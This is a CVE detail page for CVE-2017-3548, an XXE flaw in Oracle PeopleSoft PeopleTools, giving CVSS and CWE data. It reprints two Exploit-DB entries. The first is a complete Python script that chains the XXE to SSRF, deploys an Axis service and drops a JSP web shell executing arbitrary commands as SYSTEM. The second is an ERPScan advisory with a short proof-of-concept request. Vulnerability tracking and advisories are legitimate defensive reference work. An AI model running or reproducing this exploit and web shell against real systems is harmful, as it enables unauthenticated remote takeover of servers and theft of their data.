CVE-2017-3548 : Detail

CVE-2017-3548

6.5
/
Medium
A05-Security Misconfiguration
14.8%V4
Network
2017-04-24
17h00 +00:00
2024-10-04
19h22 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Vulnerability in the PeopleSoft Enterprise PeopleTools component of Oracle PeopleSoft Products (subcomponent: Integration Broker). Supported versions that are affected are 8.54 and 8.55. Easily "exploitable" vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. Successful attacks of this vulnerability can result in unauthorized read access to a subset of PeopleSoft Enterprise PeopleTools accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of PeopleSoft Enterprise PeopleTools. CVSS 3.0 Base Score 6.5 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L).

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-611 Improper Restriction of XML External Entity Reference
The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 6.5 MEDIUM CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

Low

There is reduced performance or interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 6.4 AV:N/AC:L/Au:N/C:P/I:N/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 43114

Publication date : 2017-05-16 22h00 +00:00
Author : Charles Fol
EDB Verified : No

#!/usr/bin/python3 # Oracle PeopleSoft SYSTEM RCE # https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce # cf # 2017-05-17 import requests import urllib.parse import re import string import random import sys from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) try: import colorama except ImportError: colorama = None else: colorama.init() COLORS = { '+': colorama.Fore.GREEN, '-': colorama.Fore.RED, ':': colorama.Fore.BLUE, '!': colorama.Fore.YELLOW } URL = sys.argv[1].rstrip('/') CLASS_NAME = 'org.apache.pluto.portalImpl.Deploy' PROXY = 'localhost:8080' # shell.jsp?c=whoami PAYLOAD = '<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>' class Browser: """Wrapper around requests. """ def __init__(self, url): self.url = url self.init() def init(self): self.session = requests.Session() self.session.proxies = { 'http': PROXY, 'https': PROXY } self.session.verify = False def get(self, url ,*args, **kwargs): return self.session.get(url=self.url + url, *args, **kwargs) def post(self, url, *args, **kwargs): return self.session.post(url=self.url + url, *args, **kwargs) def matches(self, r, regex): return re.findall(regex, r.text) class Recon(Browser): """Grabs different informations about the target. """ def check_all(self): self.site_id = None self.local_port = None self.check_version() self.check_site_id() self.check_local_infos() def check_version(self): """Grabs PeopleTools' version. """ self.version = None r = self.get('/PSEMHUB/hub') m = self.matches(r, 'Registered Hosts Summary - ([0-9\.]+).</b>') if m: self.version = m[0] o(':', 'PTools version: %s' % self.version) else: o('-', 'Unable to find version') def check_site_id(self): """Grabs the site ID and the local port. """ if self.site_id: return r = self.get('/') m = self.matches(r, '/([^/]+)/signon.html') if not m: raise RuntimeError('Unable to find site ID') self.site_id = m[0] o('+', 'Site ID: ' + self.site_id) def check_local_infos(self): """Uses cookies to leak hostname and local port. """ if self.local_port: return r = self.get('/psp/%s/signon.html' % self.site_id) for c, v in self.session.cookies.items(): if c.endswith('-PORTAL-PSJSESSIONID'): self.local_host, self.local_port, *_ = c.split('-') o('+', 'Target: %s:%s' % (self.local_host, self.local_port)) return raise RuntimeError('Unable to get local hostname / port') class AxisDeploy(Recon): """Uses the XXE to install Deploy, and uses its two useful methods to get a shell. """ def init(self): super().init() self.service_name = 'YZWXOUuHhildsVmHwIKdZbDCNmRHznXR' #self.random_string(10) def random_string(self, size): return ''.join(random.choice(string.ascii_letters) for _ in range(size)) def url_service(self, payload): return 'http://localhost:%s/pspc/services/AdminService?method=%s' % ( self.local_port, urllib.parse.quote_plus(self.psoap(payload)) ) def war_path(self, name): # This is just a guess from the few PeopleSoft instances we audited. # It might be wrong. suffix = '.war' if self.version and self.version >= '8.50' else '' return './applications/peoplesoft/%s%s' % (name, suffix) def pxml(self, payload): """Converts an XML payload into a one-liner. """ payload = payload.strip().replace('\n', ' ') payload = re.sub('\s+<', '<', payload, flags=re.S) payload = re.sub('\s+', ' ', payload, flags=re.S) return payload def psoap(self, payload): """Converts a SOAP payload into a one-liner, including the comment trick to allow attributes. """ payload = self.pxml(payload) payload = '!-->%s' % payload[:-1] return payload def soap_service_deploy(self): """SOAP payload to deploy the service. """ return """ <ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java" xmlns:ns1="http://xml.apache.org/axis/wsdd/"> <ns1:service name="%s" provider="java:RPC"> <ns1:parameter name="className" value="%s"/> <ns1:parameter name="allowedMethods" value="*"/> </ns1:service> </ns1:deployment> """ % (self.service_name, CLASS_NAME) def soap_service_undeploy(self): """SOAP payload to undeploy the service. """ return """ <ns1:undeployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:ns1="http://xml.apache.org/axis/wsdd/"> <ns1:service name="%s"/> </ns1:undeployment> """ % (self.service_name, ) def xxe_ssrf(self, payload): """Runs the given AXIS deploy/undeploy payload through the XXE. """ data = """ <?xml version="1.0"?> <!DOCTYPE IBRequest [ <!ENTITY x SYSTEM "%s"> ]> <IBRequest> <ExternalOperationName>&x;</ExternalOperationName> <OperationType/> <From><RequestingNode/> <Password/> <OrigUser/> <OrigNode/> <OrigProcess/> <OrigTimeStamp/> </From> <To> <FinalDestination/> <DestinationNode/> <SubChannel/> </To> <ContentSections> <ContentSection> <NonRepudiation/> <MessageVersion/> <Data> </Data> </ContentSection> </ContentSections> </IBRequest> """ % self.url_service(payload) r = self.post( '/PSIGW/HttpListeningConnector', data=self.pxml(data), headers={ 'Content-Type': 'application/xml' } ) def service_check(self): """Verifies that the service is correctly installed. """ r = self.get('/pspc/services') return self.service_name in r.text def service_deploy(self): self.xxe_ssrf(self.soap_service_deploy()) if not self.service_check(): raise RuntimeError('Unable to deploy service') o('+', 'Service deployed') def service_undeploy(self): if not self.local_port: return self.xxe_ssrf(self.soap_service_undeploy()) if self.service_check(): o('-', 'Unable to undeploy service') return o('+', 'Service undeployed') def service_send(self, data): """Send data to the Axis endpoint. """ return self.post( '/pspc/services/%s' % self.service_name, data=data, headers={ 'SOAPAction': 'useless', 'Content-Type': 'application/xml' } ) def service_copy(self, path0, path1): """Copies one file to another. """ data = """ <?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <api:copy soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <in0 xsi:type="xsd:string">%s</in0> <in1 xsi:type="xsd:string">%s</in1> </api:copy> </soapenv:Body> </soapenv:Envelope> """.strip() % (path0, path1) response = self.service_send(data) return '<ns1:copyResponse' in response.text def service_main(self, tmp_path, tmp_dir): """Writes the payload at the end of the .xml file. """ data = """ <?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <api:main soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <api:in0> <item xsi:type="xsd:string">%s</item> <item xsi:type="xsd:string">%s</item> <item xsi:type="xsd:string">%s.war</item> <item xsi:type="xsd:string">something</item> <item xsi:type="xsd:string">-addToEntityReg</item> <item xsi:type="xsd:string"><![CDATA[%s]]></item> </api:in0> </api:main> </soapenv:Body> </soapenv:Envelope> """.strip() % (tmp_path, tmp_dir, tmp_dir, PAYLOAD) response = self.service_send(data) def build_shell(self): """Builds a SYSTEM shell. """ # On versions >= 8.50, using another extension than JSP got 70 bytes # in return every time, for some reason. # Using .jsp seems to trigger caching, thus the same pivot cannot be # used to extract several files. # Again, this is just from experience, nothing confirmed pivot = '/%s.jsp' % self.random_string(20) pivot_path = self.war_path('PSOL') + pivot pivot_url = '/PSOL' + pivot # 1: Copy portletentityregistry.xml to TMP per = '/WEB-INF/data/portletentityregistry.xml' per_path = self.war_path('pspc') tmp_path = '../' * 20 + 'TEMP' tmp_dir = self.random_string(20) tmp_per = tmp_path + '/' + tmp_dir + per if not self.service_copy(per_path + per, tmp_per): raise RuntimeError('Unable to copy original XML file') # 2: Add JSP payload self.service_main(tmp_path, tmp_dir) # 3: Copy XML to JSP in webroot if not self.service_copy(tmp_per, pivot_path): raise RuntimeError('Unable to copy modified XML file') response = self.get(pivot_url) if response.status_code != 200: raise RuntimeError('Unable to access JSP shell') o('+', 'Shell URL: ' + self.url + pivot_url) class PeopleSoftRCE(AxisDeploy): def __init__(self, url): super().__init__(url) def o(s, message): if colorama: c = COLORS[s] s = colorama.Style.BRIGHT + COLORS[s] + '|' + colorama.Style.RESET_ALL print('%s %s' % (s, message)) x = PeopleSoftRCE(URL) try: x.check_all() x.service_deploy() x.build_shell() except RuntimeError as e: o('-', e) finally: x.service_undeploy()
Exploit Database EDB-ID : 41925

Publication date : 2017-04-24 22h00 +00:00
Author : ERPScan
EDB Verified : No

Application: Oracle PeopleSoft Versions Affected: PeopleSoft HCM 9.2 on PeopleTools 8.55 Vendor URL: http://oracle.com Bug: XXE Reported: 23.12.2016 Vendor response: 24.12.2016 Date of Public Advisory: 18.04.2017 Reference: Oracle CPU April 2017 Author: Nadya Krivdyuk (ERPScan) Description 1. ADVISORY INFORMATION Title:[ERPSCAN-17-020] XXE VIA DOCTYPE in PeopleSoft PeopleSoftServiceListeningConnector Advisory ID: [ERPSCAN-17-020] Risk: high CVE: CVE-2017-3548 Advisory URL: https://erpscan.com/advisories/erpscan-17-020-xxe-via-doctype-peoplesoft/ Date published: 18.04.2017 Vendors contacted: Oracle 2. VULNERABILITY INFORMATION Class: XXE Impact: File disclosure, network discovery Remotely Exploitable: yes Locally Exploitable: no CVSS Information CVSS Base Score v3: 8.0 / 10 CVSS Base Vector: AV : Attack Vector (Related exploit range) Network (N) AC : Attack Complexity (Required attack complexity) High (H) PR : Privileges Required (Level of privileges needed to exploit) High (H) UI : User Interaction (Required user participation) None (N) S : Scope (Change in scope due to impact caused to components beyond the vulnerable component) Changed (C) C : Impact to Confidentiality High (H) I : Impact to Integrity High (H) A : Impact to Availability High (H) 3. VULNERABILITY DESCRIPTION A malicious user can modify an XML-based request to include XML content that is then parsed locally. 4. VULNERABLE PACKAGES PeopleSoft HCM 9.2 on PeopleTools 8.55 5. SOLUTIONS AND WORKAROUNDS To correct this vulnerability, implement Oracle CPU April 2017 6. AUTHOR Nadya Krivdyuk 7. TECHNICAL DESCRIPTION An attacker can use an XML external entity vulnerability to send specially crafted unauthorized XML requests, which will be processed by the XML parser. The attacker can use an XML external entity vulnerability for getting unauthorised access to the OS file system. PoC POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1 Host: 172.16.2.91:8000 Content-type: text/xml <!DOCTYPE a PUBLIC "-//B/A/EN" "C:\windows"> 8. ABOUT ERPScan Research ERPScan research team specializes in vulnerability research and analysis of critical enterprise applications. It was acknowledged multiple times by the largest software vendors like SAP, Oracle, Microsoft, IBM, VMware, HP for discovering more than 400 vulnerabilities in their solutions (200 of them just in SAP!). ERPScan researchers are proud of discovering new types of vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The Best Server-Side Bug" nomination at BlackHat 2013. ERPScan experts participated as speakers, presenters, and trainers at 60+ prime international security conferences in 25+ countries across the continents ( e.g. BlackHat, RSA, HITB) and conducted private trainings for several Fortune 2000 companies. ERPScan researchers carry out the EAS-SEC project that is focused on enterprise application security awareness by issuing annual SAP security researches. ERPScan experts were interviewed in specialized info-sec resources and featured in major media worldwide. Among them there are Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise, Chinabyte, etc. Our team consists of highly-qualified researchers, specialized in various fields of cybersecurity (from web application to ICS/SCADA systems), gathering their experience to conduct the best SAP security research. 9. ABOUT ERPScan ERPScan is the most respected and credible Business Application Cybersecurity provider. Founded in 2010, the company operates globally and enables large Oil and Gas, Financial, Retail and other organizations to secure their mission-critical processes. Named as an ‘Emerging Vendor’ in Security by CRN, listed among “TOP 100 SAP Solution providers” and distinguished by 30+ other awards, ERPScan is the leading SAP SE partner in discovering and resolving security vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to assist in improving the security of their latest solutions. ERPScan’s primary mission is to close the gap between technical and business security, and provide solutions for CISO's to evaluate and secure SAP and Oracle ERP systems and business-critical applications from both cyberattacks and internal fraud. As a rule, our clients are large enterprises, Fortune 2000 companies and MSPs, whose requirements are to actively monitor and manage security of vast SAP and Oracle landscapes on a global scale. We ‘follow the sun’ and have two hubs, located in Palo Alto and Amsterdam, to provide threat intelligence services, continuous support and to operate local offices and partner network spanning 20+ countries around the globe. Address USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301 Phone: 650.798.5255 Twitter: @erpscan Scoop-it: Business Application Security

Products Mentioned

Configuraton 0

Oracle>>Peoplesoft_enterprise_peopletools >> Version 8.54

Oracle>>Peoplesoft_enterprise_peopletools >> Version 8.55

References

https://www.exploit-db.com/exploits/41925/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1038301
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/97880
Tags : vdb-entry, x_refsource_BID
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.